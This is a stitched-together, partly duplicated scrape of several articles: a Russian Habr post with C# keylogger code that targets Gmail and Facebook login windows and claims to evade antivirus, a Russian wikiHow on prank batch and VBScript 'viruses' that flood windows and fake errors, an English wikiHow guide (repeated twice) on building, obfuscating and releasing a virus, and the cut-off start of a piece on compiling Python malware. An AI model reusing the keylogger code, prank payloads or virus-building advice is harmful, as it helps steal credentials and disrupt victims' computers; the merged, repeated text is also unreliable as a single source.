Как написать программу вирус

Время на прочтение
6 мин

Количество просмотров 134K

image

Хакерский мир можно условно разделить на три группы атакующих:

1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.

2) «Byuers» — не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.

3) «Black Hat Сoders» — гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.

Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.

Зачем ИБ-персоналу эти сомнительные навыки?

Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.

Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.

Кейлогер

Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.

Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.

Начнем.

Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:

1.  [DllImport("user32.dll")]
2.  
3.  public static extern int GetAsyncKeyState(Int32 i);

Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:

Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:

1.  while (true)
2.  {
3.  Thread.Sleep(100);
4.  for (Int32 i = 0; i < 255; i++)
5.  {
6.  int state = GetAsyncKeyState(i);
7.  if (state == 1 || state == -32767)
8.  {
9.  Console.WriteLine((Keys)i);
10. 
11. }
12. }
13. }

Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.

Умный кейлогер

Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.

Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.

Вторая версия кода:

1.  while (true) 
2.  {
3.  IntPtr handle = GetForegroundWindow();
4.  if (GetWindowText(handle, buff, chars) > 0)
5.  {
6.  string line = buff.ToString();
7.  if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up "))
8.  {
9.  //проверка клавиатуры 
10. }
11. }
12. Thread.Sleep(100);
13. }

Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.

Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.

Еще более умный кейлогер

Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.

Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:

1.  //Ищем почтовый адрес
2.  ^[w!#$%&'*+-/=?^_`{|}~]+(.[w!#$%&'*+-/=?^_`{|}~]+)*@((([-w]+.)+[a-zA-Z]{2,4})|(([0-9]{1,3}.){3}[0-9]{1,3}))$
3.  
4.  
5.  //Ищем пароль
6.  (?=^.{6,}$)(?=.*d)(?=.*[a-zA-Z])

Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.

Для C# это выглядит так:

1.  Regex re = new Regex(@"^[w!#$%&amp;'*+-/=?^_`{|}~]+(.[w!#$%&amp;'*+-/=?^_`{|}~]+)*@((([-w]+.)+[a-zA-Z]{2,4})|(([0-9]{1,3}.){3}[0-9]{1,3}))$");
2.  Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*d)(?=.*[a-zA-Z])");
3.  string email = "Oded.awask@gmail.com";
4.  string pass = "abcde3FG";
5.  Match result = re.Match(email);
6.  Match result2 = re2.Match(pass);

Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.

Бесплатно и полностью не обнаружим

В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.

Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?

Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.

image

В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.

Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.

В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.


Загрузить PDF


Загрузить PDF

Вирусы-шутки — это несложные программы, которые можно подсунуть другу (или врагу), и тот будет думать, что его компьютер взломан, поражен вирусом или серьезно поврежден. Вирусы-шутки можно писать в обычном Блокноте: нужно лишь записать в файл команды, которые замедляют работу компьютера, выводят из строя работу операционной системы или просто пугают пользователя, а затем заставить его запустить этот файл. Вирусы-шутки могут быть чем угодно, начиная от надоедливой неприятности и заканчивая кошмаром, нарушающим работу системы. «Вирусы» из этой статьи предназначены только для безобидных шуток, самое худшее, что они могут сделать, — это выключить компьютер. Внимание: эти вирусы-шутки предназначены только для компьютеров под управлением Windows, они не будут работать на Mac OS без специальной подготовки. Начнем с шага 1.

  1. 1

    Запустите Блокнот. Пакетные (.BAT) файлы содержат команды для компьютера в текстовом виде. Для того, чтобы написать BAT-файл, не нужен специальный редактор — достаточно Блокнота из стандартного набора программ Windows. Блокнот можно найти в меню «Пуск» или в подменю «Стандартные». Открыть Блокнот можно также, нажав сочетание клавиш Win+R, в текстовом поле появившегося диалогового окна набрать «notepad» и нажать Enter.

  2. 2

    Наберите «@echo off», а затем, с новой строки, «CLS». По умолчанию BAT-файлы открывают окно командной строки и выводят исполняемые команды. Команды «@echo off» и «CLS» предотвращают появление команд в окне командной строки, делая причину шутки невидимой для «жертвы».

  3. 3

    Напишите команды для открытия множества (или бесконечного количества) окон. Теперь наступило время написать последовательность команд, исполняя которые, ваш поддельный вирус откроет много окон разных программ один раз или будет отрывать эти окна бесконечно. Важно знать, если бесконечно открывается очень много окон, компьютер в конце концов может зависнуть. Читайте далее о том, как сделать оба вида «вируса»:

    • Чтобы открыть определенное количество окон, с новой строки наберите в Блокноте следующую команду: start (название программы). Вместо фразы в скобках введите название программы на компьютере «жертвы» или или полное имя исполняемого файла. Эта команда дает инструкцию компьютеру открывать окно указанной программы. Например, start iexplore.exe откроет окно Internet Explorer. Повторите команду «start» столько раз, сколько захотите, и ваш «вирус» откроет окно столько раз, сколько вы укажете. Вот несколько программ которые можно ввести после команды «start»:
      • iexplore.exe — браузер Interent Explorer
      • calc.exe — Калькулятор
      • notepad.exe — Блокнот
      • winword.exe — Microsoft Word
    • Чтобы открыть бесконечное количество окон, сначала с новой строки наберите :A, включая двоеточие. На следующей строке наберите start iexplore.exe (или другую программу). И, наконец, строкой ниже наберите goto A. Эта последовательность команд заставит компьютер открывать окно Internet Explorer (или любой другой программы), возвращаться к месту непосредственно перед открытием окна, а затем сразу же открывать новое окно, пока окно командной строки не будет закрыто или компьютер не зависнет.
  4. 4

    Напишите в «вирусе» сообщение. Для устрашающего эффекта можно добавить в «вирус» сообщение, которое заставит пользователя думать, что с его компьютером что-то не так. Чтобы отобразить сообщение, начните новую строку и наберите echo Ваше сообщение. Затем с новой строки наберите pause. Команда «pause» остановит выполнение «вируса» после появления сообщения.

    • Чтобы ваша шутка была правдоподобной, напишите сообщение, похожее на настоящие сообщения об ошибках, например: Фатальная ошибка. C:// каталог поврежден.
  5. 5

    Сохраните текст как пакетный файл. Когда закончите, в меню Блокнота выберите Файл > Сохранить как…, а затем укажите расширение файла «.bat» (например, «pinball.bat»). В выпадающем списке «Тип файла» выберите «Все файлы». Сохраните файл где нибудь на компьютере «жертвы».

  6. 6

    Заставьте пользователя открыть файл. Чтобы ваша шутка сработала, нужно сделать так, чтобы «жертва» запустила ее. Этого можно добиться разными способами. Один из самых работающих — создать ярлык для своего пакетного файла и изменить его иконку на что-то, чем пользователь действительно пользуется, а затем изменить название ярлыка, чтобы оно соответствовало иконке. Откиньтесь на спинку кресла и наблюдайте за результатами из удобного места!

    Реклама

  1. 1

    Запустите Блокнот. Как и в предыдущей шутке, в этой нужно написать в Блокноте несколько простых команд. Однако на этот раз эффект будет другим — вместо открытия окон это шутка создает несколько сообщений с ошибками, которые заставят пользователя думать, что его в работе операционной системы произошла ошибка или что компьютер был взломан.

  2. 2

    Наберите «x=msgbox(«Текст сообщения», 5+16, «Заголовок сообщения») точно так, как здесь указано, включая скобки и кавычки, и замените «Текст сообщения» и «Заголовок сообщения» желаемым текстом. Эта команда открывает стандартное диалоговое окно ошибки Windows с указанными вами сообщением об ошибке и заголовком окна. Чтобы ваша шутка была правдоподобной, используйте сообщения и заголовки, похожие на настоящие. Например попробуйте в качестве заголовка «Ошибка терминала», а в качестве сообщения — «В каталоге C://Users/Windows/system32 обнаружена критическая неисправность».

    • Возможно, вам захочется развить свою шутку в направлении взлома. В таком случае используйте сообщения вроде: «Я имею полный доступ к вашей системе. Приготовьтесь ко взлому». На самом деле ничего такого не случится, так что это сработает только с людьми, которые плохо разбираются в компьютерах.
    • Выражение «5+16» указывает компьютеру создать диалоговое окно с иконкой критической ошибки и двумя кнопками «Повтор» и «Отмена». Изменяя эти числа, можно получить разные типы окон с ошибками. Просто подставьте из приведенных ниже чисел любое число из одной цифры вместо 5 и любое число из двух цифр вместо 16:
      • 0 (Кнопка OK)
      • 1 (Кнопки OK и Отмена)
      • 2 (Кнопки Отмена, Повтор и Пропустить)
      • 3 (Кнопки Да, Нет, и Отмена)
      • 4 (Кнопки Да и Нет)
      • 5 (Кнопки Повтор и Отмена)
      • 16 (Иконка критической ошибки)
      • 32 (Иконка помощи)
      • 48 (Иконка предупреждения)
      • 64 (Иконка информации)
  3. 3

    Повторяйте сообщение об ошибке сколько вам угодно. Повторяйте команды, приведенные выше столько раз, сколько пожелаете, с любыми сообщениями об ошибках. Сообщения будут появляться одно за другим, то есть, как только пользователь закроет одно сообщение, откроется другое. Можете использовать этот факт, чтобы создать длинное сообщение, которое будет носить все более неотлагательный характер.

  4. 4

    Сохраните документ как файл Visual Basic (VBA). Когда вы введете все желаемые сообщения, сохраните файл. В меню Блокнота выберите Файл > Сохранить как…, дайте своему файлу имя с расширением «.vba». Обязательно выберите «Все файлы» из выпадающего списка «Тип файла». Теперь, чтобы шутка удалась, нужно заставить «жертву» запустить этот файл, например используя трюк из метода 1.

    Реклама

  1. 1

    Запустите Блокнот. Это шутка использует команды из Блокнота, чтобы заставить компьютер открывать программы случайным образом до тех пор, пока пакетный файл не будет отключен или компьютер не зависнет. Чтобы сделать эту шутку, вам просто нужно скопировать и вставить команды, указанные в этом разделе. Однако заметьте, что это сработает не на всех компьютерах.

  2. 2

    Скопируйте и вставьте следующие команды:@echo offclsbegingoto %random%:1start cmd.exegoto begin:2start mspaint.exegoto begin:3start pinball.exegoto begin:4start iexplore.exegoto begin:5start explorer.exegoto begin:6start solitaire.exegoto begin:7start explorer.exegoto begin:8start edit.exegoto begin:9start iexplore.exegoto begin:0start mspaint.exegoto begin

  3. 3

    Изменяйте эти команды на свое усмотрение. Этот код случайным образом бесконечно открывает программы, указанные после слова «start». Возможно, вы заметили, что некоторые программы повторяются. Изменяйте список программ, как вы того пожелаете.

    • Заметьте, что некоторые названия программ, перечисленных выше, могут быть неправильными для некоторых машин, например на некоторых компьютерах может не быть «pinball.exe». Следует проверить дважды правильность названий программ, перед тем как перемещать вирус-шутку на компьютер «жертвы».
    • Если вы сомневаетесь в названии какой-то программы, помните, что точный путь программы тоже подходит. Например, вместо «iexplore.exe» можно написать «C:Program FilesInternet Explorer».
  4. 4

    Сохраните текст как пакетный файл и запустите его (если отважитесь). Сохраните файл с расширением «.bat», выбрав «Все файлы» из выпадающего списка «Тип файла». Когда вам удастся заставить пользователя запустить его, он начнет случайным образом без остановки открывать программы в компьютере.

    • Чтобы было веселей, попробуйте заменить в одной из команд ‘*.exe’ на полный путь к какому-либо документу пользователя. Например, ‘start C:Документы123.doc’ откроет документ 123.doc из папки «Документы» в редакторе по умолчанию, а
      edit (полное имя файла)
      goto begin
      откроет указанный файл в текстовом редакторе DOS. Это будет выглядеть так, как будто хакер читает личные документы. Помните, что имя файла, содержащее пробелы, должно заключаться в кавычки!
  5. 5

    Изучите значения команд, чтобы модифицировать свои шутки. Даже если вы не понимаете, как они работают, вирусы-шутки могут быть хорошим развлечением. Но вам будет еще веселей, если вы будете понимать, что происходит при их запуске, и когда вы разберетесь, как работают эти «вирусы», вы сможете писать свои собственные! Вот список команд, используемых в этой статье, а также их краткое описание:

    • @echo off — отключить вывод команд.
    • cls — очистить экран командной строки. Командная строка будет выглядеть аккуратней.
    • goto A — перейти на метку А.
    • %random% — переменная Windows, генерирующая случайные числа от 0 до 9 (включительно).
    •  :(число, буква или слово) — метка. На нее можно переходить с помощью команды «goto».
    • На заметку: в примере выше у нас 10 меток. Если мы пропустим одно число, программа закроется, если %random% сгенерирует это число.

    Реклама

Советы

  • Вот образец одной из самых надоедливых программ и ее код:

    @echo off
    :a
    start notepad
    goto a

    Все, что она делает — открывает Блокнот бесконечное количество раз до тех пор, пока пользователь не закроет окно командной строки. Не запускайте ее на компьютере без присмотра — это может плохо закончиться.

    Это упрощенный вариант метода 1, рассмотренного выше.

  • Экспериментируйте с разными командами! Если вы хотите сделать шутку зловредной, примените команду, которая удаляет файлы или стирает данные с жесткого диска.

Реклама

Предупреждения

  • У вас могут быть проблемы с использованием вредоносных пакетных файлов или порчей школьных или общественных компьютеров. Непредусмотренная отправка таких файлов через интернет или запись их в общественные системы запрещена.
  • Не перестарайтесь. 10 копий чего-то вроде Пинбола очень раздражают. Сотни копий могут привести к зависанию компьютера и лишить кое-кого работы.

Реклама

Что вам понадобится

  • Компьютер с ОС Windows
  • Блокнот
  • Любое программируемое приложение

Об этой статье

Эту страницу просматривали 539 825 раз.

Была ли эта статья полезной?


Download Article

Simple guide to make a virus


Download Article

Have you ever wished you could create your own virus, either for your own learning or as a prank? Virus creation takes time and knowledge, but anyone can do it if they put their mind to it. Creating a virus can teach you a lot about how a programming language works, as well as operating system and network security. While it may seem as if all viruses are malicious, viruses are simply pieces of code whose goal is to spread as many copies of itself as possible. See Step 1 below to get started and have fun creating your own virus.

Steps

  1. Image titled Create a Virus Step 1

    1

    Determine what operating system you are going to attack. The most common target is Microsoft Windows, especially older versions. Many old Windows users do not update their operating system, leaving them vulnerable to security holes that may be fixed in newer versions.

    • Mac OS X and Linux are both fairly virus-proof due to the way permissions work and the general architecture of the operating system. 95% of all viruses target Windows users.
  2. Image titled Create a Virus Step 2

    2

    Decide how you want it to spread. A virus is only a virus if it can spread to other users. You will need to figure out the delivery method before beginning, as it is one of the fundamentals of the virus’s code. Common delivery mechanisms include:

    • Executable file (.EXE, .BAT, .COM etc.) — This program needs to be run by the user, and is often disguised as something else (such as an image).
    • Macro (Microsoft Office) — Macros are programs that are embedded into a document or email. They target Word, Outlook, and other macro-enabled products. The most common method of delivery is via email with an infected document attached.
    • Web script — These are pieces of malicious code that are injected into sites without the webmasters’ knowledge.

    Advertisement

  3. Image titled Create a Virus Step 3

    3

    Determine the weak spot that you want to target. Successful viruses exploit weak spots in a program’s or system’s security to spread and carry out their actions. This requires a lot of research and know how, but there are communities out there that can help you find what you need.

  4. Image titled Create a Virus Step 4

    4

    Decide what you want your virus to do. Once your virus has infected a system, what do you want it to do? Effects can range from nothing, to displaying a message, to deleting files, and much worse. Be aware that creating and spreading a malicious virus is a serious crime in the most countries.

  5. Image titled Create a Virus Step 5

    5

    Choose a language. In order to create a virus, you will need to have at least a basic understanding of at least one computer language or scripting tool. More complex viruses often involve several languages. For really effective viruses, you will need to be familiar with assembly languages.

    • If you’re interested in making executable viruses, C or C++ is a good place to start.
    • If you want to make macro viruses, learn the macro language for your target programs such as Microsoft Office.
    • Visual Basic can be used to create malicious programs for Windows users.
  6. Image titled Create a Virus Step 6

    6

    Start writing your virus. This will be a long process, especially if this is your first time coding something. Experiment as much as possible, and research ways to replicate your code depending on the language you are using. There are tutorials on forums and community blogs for a variety of languages.

    • Research polymorphic code. This will alter the code of your virus every time it replicates, making it difficult to track with antivirus programs. Polymorphic code is fairly advanced, and is implemented differently in every language.
  7. Image titled Create a Virus Step 7

    7

    Research ways to hide your code. Besides polymorphic coding, there are other ways to hide your virus. Encryption is a very common tool used by virus developers. It takes a lot of practice and reading, but it can go a long way in increasing the lifespan of your virus.

  8. Image titled Create a Virus Step 8

    8

    Test your virus. Once you have a prototype up and running, test it out on as many different machines and setups as possible. This will be easiest if you are able to set up virtual machines in different configurations.

    • Make sure that you keep your tests contained so that you don’t accidentally release your virus before you are ready. Put the test machines on an isolated network and see the effects of the virus spreading.
    • Adjust your virus’s code as you observe it working on the test machines. Fix any issues that it runs into
  9. Image titled Create a Virus Step 9

    9

    Release your virus. If you’re satisfied with your virus’s performance, it’s time to release it. Before you do, however, ask yourself if you’re prepared to face any consequences that may come from releasing a virus into the wild. It may be better to use that experience and work on new projects.[1]

  10. Advertisement

Add New Question

  • Question

    Why would someone want to mess up other people’s computers?

    Community Answer

    Because some people want to watch the world burn.

  • Question

    Why would someone write a virus?

    Community Answer

    To prank a friend maybe. Or maybe you want to get revenge on an old enemy.

  • Question

    How can I determine if the virus is being spread across the web or interface of an electronic grid?

    Community Answer

    Go into the code or just download a spyware detector.

See more answers

Ask a Question

200 characters left

Include your email address to get a message when this question is answered.

Submit

Advertisement

  • If you are looking to remove a virus, see this article «How to Remove Malware».

Thanks for submitting a tip for review!

Advertisement

  • Only release viruses to demonstrate security vulnerabilities to other users.

  • Releasing malicious code into the wild is illegal.

Advertisement

About This Article

Thanks to all authors for creating a page that has been read 830,037 times.

Is this article up to date?


Download Article

Simple guide to make a virus


Download Article

Have you ever wished you could create your own virus, either for your own learning or as a prank? Virus creation takes time and knowledge, but anyone can do it if they put their mind to it. Creating a virus can teach you a lot about how a programming language works, as well as operating system and network security. While it may seem as if all viruses are malicious, viruses are simply pieces of code whose goal is to spread as many copies of itself as possible. See Step 1 below to get started and have fun creating your own virus.

Steps

  1. Image titled Create a Virus Step 1

    1

    Determine what operating system you are going to attack. The most common target is Microsoft Windows, especially older versions. Many old Windows users do not update their operating system, leaving them vulnerable to security holes that may be fixed in newer versions.

    • Mac OS X and Linux are both fairly virus-proof due to the way permissions work and the general architecture of the operating system. 95% of all viruses target Windows users.
  2. Image titled Create a Virus Step 2

    2

    Decide how you want it to spread. A virus is only a virus if it can spread to other users. You will need to figure out the delivery method before beginning, as it is one of the fundamentals of the virus’s code. Common delivery mechanisms include:

    • Executable file (.EXE, .BAT, .COM etc.) — This program needs to be run by the user, and is often disguised as something else (such as an image).
    • Macro (Microsoft Office) — Macros are programs that are embedded into a document or email. They target Word, Outlook, and other macro-enabled products. The most common method of delivery is via email with an infected document attached.
    • Web script — These are pieces of malicious code that are injected into sites without the webmasters’ knowledge.

    Advertisement

  3. Image titled Create a Virus Step 3

    3

    Determine the weak spot that you want to target. Successful viruses exploit weak spots in a program’s or system’s security to spread and carry out their actions. This requires a lot of research and know how, but there are communities out there that can help you find what you need.

  4. Image titled Create a Virus Step 4

    4

    Decide what you want your virus to do. Once your virus has infected a system, what do you want it to do? Effects can range from nothing, to displaying a message, to deleting files, and much worse. Be aware that creating and spreading a malicious virus is a serious crime in the most countries.

  5. Image titled Create a Virus Step 5

    5

    Choose a language. In order to create a virus, you will need to have at least a basic understanding of at least one computer language or scripting tool. More complex viruses often involve several languages. For really effective viruses, you will need to be familiar with assembly languages.

    • If you’re interested in making executable viruses, C or C++ is a good place to start.
    • If you want to make macro viruses, learn the macro language for your target programs such as Microsoft Office.
    • Visual Basic can be used to create malicious programs for Windows users.
  6. Image titled Create a Virus Step 6

    6

    Start writing your virus. This will be a long process, especially if this is your first time coding something. Experiment as much as possible, and research ways to replicate your code depending on the language you are using. There are tutorials on forums and community blogs for a variety of languages.

    • Research polymorphic code. This will alter the code of your virus every time it replicates, making it difficult to track with antivirus programs. Polymorphic code is fairly advanced, and is implemented differently in every language.
  7. Image titled Create a Virus Step 7

    7

    Research ways to hide your code. Besides polymorphic coding, there are other ways to hide your virus. Encryption is a very common tool used by virus developers. It takes a lot of practice and reading, but it can go a long way in increasing the lifespan of your virus.

  8. Image titled Create a Virus Step 8

    8

    Test your virus. Once you have a prototype up and running, test it out on as many different machines and setups as possible. This will be easiest if you are able to set up virtual machines in different configurations.

    • Make sure that you keep your tests contained so that you don’t accidentally release your virus before you are ready. Put the test machines on an isolated network and see the effects of the virus spreading.
    • Adjust your virus’s code as you observe it working on the test machines. Fix any issues that it runs into
  9. Image titled Create a Virus Step 9

    9

    Release your virus. If you’re satisfied with your virus’s performance, it’s time to release it. Before you do, however, ask yourself if you’re prepared to face any consequences that may come from releasing a virus into the wild. It may be better to use that experience and work on new projects.[1]

  10. Advertisement

Add New Question

  • Question

    Why would someone want to mess up other people’s computers?

    Community Answer

    Because some people want to watch the world burn.

  • Question

    Why would someone write a virus?

    Community Answer

    To prank a friend maybe. Or maybe you want to get revenge on an old enemy.

  • Question

    How can I determine if the virus is being spread across the web or interface of an electronic grid?

    Community Answer

    Go into the code or just download a spyware detector.

See more answers

Ask a Question

200 characters left

Include your email address to get a message when this question is answered.

Submit

Advertisement

  • If you are looking to remove a virus, see this article «How to Remove Malware».

Thanks for submitting a tip for review!

Advertisement

  • Only release viruses to demonstrate security vulnerabilities to other users.

  • Releasing malicious code into the wild is illegal.

Advertisement

About This Article

Thanks to all authors for creating a page that has been read 830,037 times.

Is this article up to date?

Вредоносные Python-приложения: создание, примеры, методы анализа и детектирования

Низкий порог входа, простота использования, высокая скорость разработки и огромная коллекция библиотек сделали Python привлекательным для большинства программистов,

Автор: Austin Jackson

Подавляющее большинство серьезных вредоносов за последние 30 лет были написаны на ассемблере или компилируемых языках, таких как C, C++ и Delphi. Однако за последнее десятилетие приложения подобного рода становится все более разнообразными и, как, следствие, все чаще пишутся на интерпретируемых языках, как, например, на Python. Низкий порог входа, простота использования, высокая скорость разработки и огромная коллекция библиотек сделали Python привлекательным для большинства программистов, включая разработчиков вредоносов. Python становится все более любимым инструментом при создании утилит для троянов, эксплоитов, кражи информации и тому подобного. Поскольку популярность Python продолжает неуклонно расти, а порог входа в монокультуру вредоносов, написанных на C, продолжает оставаться слишком высоким, становится очевидным, что Python все чаще будет использоваться при реализации кибератак, в том числе и при написании троянов разного сорта.

Рисунок 1: Динамика популярности основных языков программирования за последнее десятилетие

Времена меняются

По сравнению со стандартным компилируемым языком (например, C) при написании вредоноса на Python возникает целый ряд сложностей. Во-первых, для интерпретирования и выполнения кода Python должен быть установлен в операционной системе. Однако, как будет продемонстрировано далее, приложения, написанные на Python, могут быть легко сконвертированы в обычный исполняемый файл при помощи различных методов.

Во-вторых, вредоносы, написанные на Python, обычно большого размера, занимают много память, и, как следствие, требуют больше вычислительных ресурсов. Серьезные же вредоносы, которые можно найти в дикой природе, часто небольшие, незаметные, потребляют мало памяти, и используют ограниченные вычислительные мощности. Образец скомпилированного образца, написанного на C, может занимать около 200 КБ, а сравнимый экземпляр, написанный на Python, после конвертирования в исполняемый файл – около 20 МБ. Таким образом, при использовании интерпретируемых языков ресурсов процессора и оперативной памяти потребляется намного больше.

Однако к 2020 году и цифровые и информационные технологии сильно продвинулись. С каждым днем интернет становится быстрее, у компьютеров больше оперативной памяти и объемнее жесткие диски, процессоры производительнее и так далее. Соответственно, Python тоже становится все более популярным и уже идет предустановленным в macOS и большинстве линуксовых дистрибутивов.

Отсутствует интерпретатор? Не проблема!

Microsoft Windows все еще остается основной целью для большинства атак с использованием вредоносов, однако в этой операционной системе Python не идет установленным по умолчанию. Соответственно, для более эффективного и массового распространения вредоносный скрипт должен быть сконвертирован в исполняемый файл. Существует много способов «скомпилировать» Python. Рассмотрим наиболее популярные утилиты.

PyInstaller

PyInstaller умеет преобразовывать Python-скрипты в самостоятельные исполняемые файлы для Windows, Linux, macOS посредством «замораживания» кода. Этот метод является одним из наиболее популярных для преобразования кода в исполняемый формат и широко используется как в легитимных, так и во вредоносных целях.

В качестве примера создадим простейшую программу «Hello, world!» и преобразуем в исполняемый файл при помощи PyInstaller:


В результате мы получили портативный, самодостаточный файл в формате ELF, являющийся эквивалентом EXE-файла в Windows. Теперь для сравнения создадим и скомпилируем ту же самую программу на C:

$ cat hello.py
print('Hello, world!')
 
$ pyinstaller --onefile hello.py
...
 
$ ./dist/hello 
Hello, world!
 
$ file dist/hello 
dist/hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=294d1f19a085a730da19a6c55788ec08c2187039, stripped
 
$ du -sh dist/hello 
7.0M    dist/hello

Обратите внимание на разницу в размерах полученных исполняемых файлов: 7 МБ (Python) и 20 КБ (C)! В этом заключается один из основных недостатков, упоминаемым ранее, касательно размера файла и использования памяти. Исполняемый файл, скомпилированный из Python-кода, намного больше, поскольку внутри исполняемого файла должен присутствовать интерпретатор (как разделяемый объектный файл в Линуксе) для осуществления успешного запуска.

Py2exe

Py2exe – еще один популярный метод для конвертирования кода в самостоятельный исполняемый файл в формате EXE. Как и в случае с PyInstaller вместе с кодом идет интерпретатор с целью создания портативного исполняемого файла. Хотя py2exe, скорее всего, со временем перестанет использоваться, поскольку не поддерживает версии после Python 3.4, так как байт код в CPython сильно изменился в Python 3.6 и выше.

Py2exe использует пакет distutils и требует создания небольшого setup.py для создания исполняемого файла. Как и в предыдущем примере, создадим простейшую программу «Hello, world!» и скомпилируем при помощи py2exe:

> type hello.py
print('Hello, world!')
 
> type setup.py
import py2exe
from distutils.core import setup
setup(
    console=['hello.py'],
    options={'py2exe': {'bundle_files': 1, 'compressed': True}},
    zipfile=None
)
 
> python setup.py py2exe
...
 
> disthello.exe
Hello, world!

Размер файла примерно тот же самый, что и в случае с PyInstaller (6.83 МБ).

Рисунок 2: Размер исполняемого файла, созданного при помощи py2exe

Nuitka

Nuitka, вероятно, является одним из наиболее недооцененных и в то же время более продвинутым методом для преобразования Python-кода в исполняемый файл. Вначале Python-код переводится в С-код, а затем происходит линковка с библиотекой libpython для выполнения кода в точности так же, как в случае с CPython. Nuitka умеет использовать разные C-компиляторы, включая gcc, clang, MinGW64, Visual Studio 2019+ и clang-cl для конвертирования Python-кода в C.

Вновь создаем простейшую программу «Hello, world!» и компилируем при помощи Nuitka:

$ cat hello.py
print('Hello, world!')
 
$ nuitka3 hello.py
...
 
$ ./hello.bin
